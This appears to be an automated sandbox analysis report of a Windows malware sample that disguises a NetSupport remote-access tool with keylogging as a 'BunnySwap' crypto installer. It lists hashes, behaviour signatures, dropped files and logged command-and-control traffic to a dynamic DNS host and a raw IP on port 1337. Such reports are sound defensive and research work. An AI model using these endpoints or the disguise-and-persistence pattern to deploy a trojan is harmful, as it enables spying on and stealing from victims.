Play interactive tour

Edit tour

Windows Analysis Report iumk21HlC8

Overview

General Information

Sample Name:	iumk21HlC8 (renamed file extension from none to exe)
Analysis ID:	460244
MD5:	247e8d7c97da1778e87233b14e27d7b0
SHA1:	355362876088aa1859bbd1ec9612c8722f3cdbd7
SHA256:	7a5f2afe726768008f80860aa992e56e01cb609d6a0510348a528182ae4ad8d1
Tags:	coinduckduckdnsorgexeKnassarDKApSNetSupportsigned
Infos:
Most interesting Screenshot:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Uses dynamic DNS services

Uses known network protocols on non-standard ports

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables security privileges

Extensive use of GetProcAddress (often used to hide API calls)

File is packed with WinRar

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file contains strange resources

Potential key logger detected (key state polling based)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Stores files to the Windows start menu directory

Tries to load missing DLLs

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Yara detected NetSupport remote tool

Classification

Process Tree

System is w10x64

iumk21HlC8.exe (PID: 6532 cmdline: 'C:\Users\user\Desktop\iumk21HlC8.exe' MD5: 247E8D7C97DA1778E87233B14E27D7B0)

BunnySwap.exe (PID: 6744 cmdline: 'C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe' /VERYSILENT /SP- MD5: C8F3E604A88D2B25F9EAAF3F5CA625D9)

BunnySwap.tmp (PID: 6820 cmdline: 'C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp' /SL5='$1B040C,2795622,780800,C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe' /VERYSILENT /SP- MD5: 11C74753D375BA44E845BFECBFE88CD6)

updater.exe (PID: 6912 cmdline: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe MD5: 5C25D0078A58280BE572BFE68F5FE73C)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-GM773.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\WindowsUserCerts\is-4P5R4.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-R69AL.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\WindowsUserCerts\is-D0B6K.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-DKH09.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\WindowsUserCerts\is-GPOHH.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\WindowsUserCerts\is-60MAI.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-AI8EO.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\WindowsUserCerts\is-8A4MH.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-56656.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-6QR8B.tmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-6QR8B.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
C:\Users\user\AppData\Roaming\WindowsUserCerts\is-JD6HO.tmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\user\AppData\Roaming\WindowsUserCerts\is-JD6HO.tmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 9 entries

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.925794243.000000006D240000.00000002.00020000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000006.00000002.916336848.0000000000822000.00000002.00020000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000006.00000000.669928645.0000000000822000.00000002.00020000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Process Memory Space: updater.exe PID: 6912	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: updater.exe PID: 6912	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
6.2.updater.exe.111b8c68.4.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
6.2.updater.exe.111b8c68.4.raw.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
6.0.updater.exe.820000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
6.2.updater.exe.6eb30000.8.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
6.2.updater.exe.820000.0.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
6.2.updater.exe.6d200000.7.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
6.2.updater.exe.6cf70000.6.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
6.2.updater.exe.11000000.3.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
6.2.updater.exe.11000000.3.unpack	JoeSecurity_NetSupport	Yara detected NetSupport remote tool	Joe Security
Click to see the 4 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe

ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Show sources

Source: iumk21HlC8.exe	Virustotal: Detection: 51%	Perma Link
Source: iumk21HlC8.exe	Metadefender: Detection: 14%	Perma Link
Source: iumk21HlC8.exe	ReversingLabs: Detection: 40%

Source: iumk21HlC8.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp

File opened: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\msvcr100.dll

Jump to behavior

Source: iumk21HlC8.exe

Static PE information: GUARD_CF, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: iumk21HlC8.exe
Source:	Binary string: msvcr100.i386.pdb source: updater.exe, 00000006.00000002.925564311.000000006CEB1000.00000020.00020000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: updater.exe, 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: updater.exe, 00000006.00000002.925794243.000000006D240000.00000002.00020000.sdmp, is-AI8EO.tmp.5.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: updater.exe, 00000006.00000002.916336848.0000000000822000.00000002.00020000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: is-56656.tmp.5.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\Full\pcichek.pdb source: updater.exe, 00000006.00000002.925841993.000000006EB32000.00000002.00020000.sdmp, is-GM773.tmp.5.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: updater.exe, 00000006.00000002.925794243.000000006D240000.00000002.00020000.sdmp, is-AI8EO.tmp.5.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: updater.exe, 00000006.00000002.925733262.000000006CF75000.00000002.00020000.sdmp, is-D0B6K.tmp.5.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: is-56656.tmp.5.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: updater.exe, 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp

Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_010FA534 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	1_2_010FA534
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_0111A928 FindFirstFileExA,	1_2_0111A928
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_0110B820 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	1_2_0110B820
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_0040AEF4 FindFirstFileW,FindClose,	4_2_0040AEF4
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_0040A928 GetModuleHandleW,GetProcAddress,FindFirstFileW,FindClose,lstrlenW,lstrlenW,	4_2_0040A928
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: 5_2_0040E6A0 FindFirstFileW,FindClose,	5_2_0040E6A0
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: 5_2_0060BC10 FindFirstFileW,GetLastError,	5_2_0060BC10
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: 5_2_0040E0D4 GetModuleHandleW,GetProcAddress,FindFirstFileW,FindClose,lstrlenW,lstrlenW,	5_2_0040E0D4
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: 5_2_006B76A0 FindFirstFileW,SetFileAttributesW,FindNextFileW,FindClose,	5_2_006B76A0

Networking:

Uses dynamic DNS services

Show sources

Source: unknown

DNS query: name: coinduck.duckdns.org

Uses known network protocols on non-standard ports

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 1337
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 1337
Source: unknown	Network traffic detected: HTTP traffic on port 1337 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 1337
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 1337

Source: global traffic

TCP traffic: 192.168.2.4:49746 -> 188.165.207.8:1337

Source: global traffic

HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 62.172.138.35 62.172.138.35

Source: Joe Sandbox View

ASN Name: OVHFR OVHFR

Source: global traffic

HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: coinduck.duckdns.org

Source: unknown

HTTP traffic detected: POST http://188.165.207.8/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 188.165.207.8Connection: Keep-AliveCMD=POLLINFO=1ACK=1Data Raw: Data Ascii:

Source: updater.exe, 00000006.00000002.925794243.000000006D240000.00000002.00020000.sdmp, is-AI8EO.tmp.5.dr	String found in binary or memory: http://%s/fakeurl.htm
Source: updater.exe, 00000006.00000002.925794243.000000006D240000.00000002.00020000.sdmp, is-AI8EO.tmp.5.dr	String found in binary or memory: http://%s/testpage.htm
Source: updater.exe, 00000006.00000002.925794243.000000006D240000.00000002.00020000.sdmp, is-AI8EO.tmp.5.dr	String found in binary or memory: http://%s/testpage.htmwininet.dll
Source: updater.exe, 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp	String found in binary or memory: http://127.0.0.1
Source: updater.exe, 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp	String found in binary or memory: http://127.0.0.1RESUMEPRINTING
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	String found in binary or memory: http://crl.certum.pl/cscasha2.crl0q
Source: BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: is-D0B6K.tmp.5.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: is-D0B6K.tmp.5.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSAExtendedValidationCodeSigningCA.crl0
Source: BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0J
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	String found in binary or memory: http://cscasha2.ocsp-certum.com04
Source: updater.exe, 00000006.00000003.675162902.00000000012C5000.00000004.00000001.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/%
Source: updater.exe, 00000006.00000003.736226807.0000000005F43000.00000004.00000001.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: updater.exe, 00000006.00000002.916734288.00000000012C0000.00000004.00000001.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp6f
Source: updater.exe, 00000006.00000003.673929748.0000000005EF1000.00000004.00000001.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp:
Source: updater.exe, 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)
Source: is-D0B6K.tmp.5.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: is-D0B6K.tmp.5.dr	String found in binary or memory: http://ocsp.comodoca.com07
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://ocsp.digicert.com0H
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://ocsp.digicert.com0I
Source: BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	String found in binary or memory: http://repository.certum.pl/cscasha2.cer0
Source: BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	String found in binary or memory: http://subca.ocsp-certum.com01
Source: BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	String found in binary or memory: http://www.certum.pl/CPS0
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: updater.exe, 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp
Source: updater.exe, 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp11(L
Source: updater.exe, 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp	String found in binary or memory: http://www.pci.co.uk/support
Source: updater.exe, 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp	String found in binary or memory: http://www.pci.co.uk/supportsupport
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: https://get-scatter.com
Source: BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	String found in binary or memory: https://jrsoftware.org/
Source: BunnySwap.exe	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdline
Source: BunnySwap.exe, 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, BunnySwap.exe.1.dr	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	String found in binary or memory: https://jrsoftware.org0
Source: is-D0B6K.tmp.5.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: https://sectigo.com/CPS0D
Source: is-D0B6K.tmp.5.dr	String found in binary or memory: https://secure.comodo.com/CPS0L
Source: BunnySwap.exe, 00000004.00000003.658767833.00000000024C0000.00000004.00000001.sdmp, BunnySwap.tmp, 00000005.00000003.664364248.0000000003540000.00000004.00000001.sdmp	String found in binary or memory: https://swap.bunnypark.com
Source: BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	String found in binary or memory: https://www.certum.pl/CPS0
Source: BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	String found in binary or memory: https://www.digicert.com/CPS0
Source: BunnySwap.exe, 00000004.00000003.660271427.000000007FBD0000.00000004.00000001.sdmp, BunnySwap.tmp, BunnySwap.tmp, 00000005.00000000.663423395.0000000000401000.00000020.00020000.sdmp	String found in binary or memory: https://www.innosetup.com/
Source: BunnySwap.exe, 00000004.00000003.660271427.000000007FBD0000.00000004.00000001.sdmp, BunnySwap.tmp	String found in binary or memory: https://www.remobjects.com/ps

Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe

Code function: 6_2_110077A0 LoadCursorA,SetCursor,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,CreateDCA,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,SelectClipRgn,BitBlt,SelectClipRgn,DeleteObject,DeleteDC,BitBlt,ReleaseDC,CreatePen,CreateSolidBrush,GetSysColor,LoadBitmapA,_memset,_swscanf,CreateFontIndirectA,_memset,GetStockObject,GetObjectA,CreateFontIndirectA,GetWindowRect,SetWindowTextA,GetSystemMetrics,GetSystemMetrics,SetWindowPos,UpdateWindow,SetCursor,

6_2_110077A0

Source: updater.exe, 00000006.00000002.916613769.000000000122A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe

Code function: 6_2_11114590 PeekMessageA,GetKeyState,GetKeyState,GetKeyState,Sleep,GetKeyState,

6_2_11114590

Source: Yara match	File source: 6.2.updater.exe.111b8c68.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.updater.exe.11000000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: updater.exe PID: 6912, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-6QR8B.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-JD6HO.tmp, type: DROPPED

Source: C:\Users\user\Desktop\iumk21HlC8.exe

Code function: 1_2_010F7165: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

1_2_010F7165

Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe

Code function: 6_2_1115EA00 FindWindowA,_memset,CreateProcessAsUserA,GetLastError,WinExec,CloseHandle,CloseHandle,CloseHandle,WinExec,

6_2_1115EA00

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe

Code function: 4_2_004AF110 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,

4_2_004AF110

Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_010F8525	1_2_010F8525
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_011065B6	1_2_011065B6
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_01110146	1_2_01110146
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_01110993	1_2_01110993
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_011039AC	1_2_011039AC
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_010FE1E0	1_2_010FE1E0
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_011069EB	1_2_011069EB
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_0110702F	1_2_0110702F
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_010F404E	1_2_010F404E
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_010FF8A8	1_2_010FF8A8
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_01105BE7	1_2_01105BE7
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_0111CA20	1_2_0111CA20
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_010F326D	1_2_010F326D
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_0111055E	1_2_0111055E
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_010FBD53	1_2_010FBD53
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_0111457A	1_2_0111457A
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_010FDDAC	1_2_010FDDAC
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_01110DC8	1_2_01110DC8
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_0110FC4A	1_2_0110FC4A
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_010FEC54	1_2_010FEC54
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_01103CDD	1_2_01103CDD
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_010F5F0C	1_2_010F5F0C
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_01103731	1_2_01103731
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_011147A9	1_2_011147A9
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_01120FD4	1_2_01120FD4
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_010F27D4	1_2_010F27D4
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_010FE7E0	1_2_010FE7E0
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_0111CECE	1_2_0111CECE
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_004323DC	4_2_004323DC
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_004255DC	4_2_004255DC
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: 4_2_0040E9C4	4_2_0040E9C4
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: 5_2_006B6128	5_2_006B6128
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: 5_2_0040C938	5_2_0040C938
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: 6_2_1100892B	6_2_1100892B
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: 6_2_1115F840	6_2_1115F840
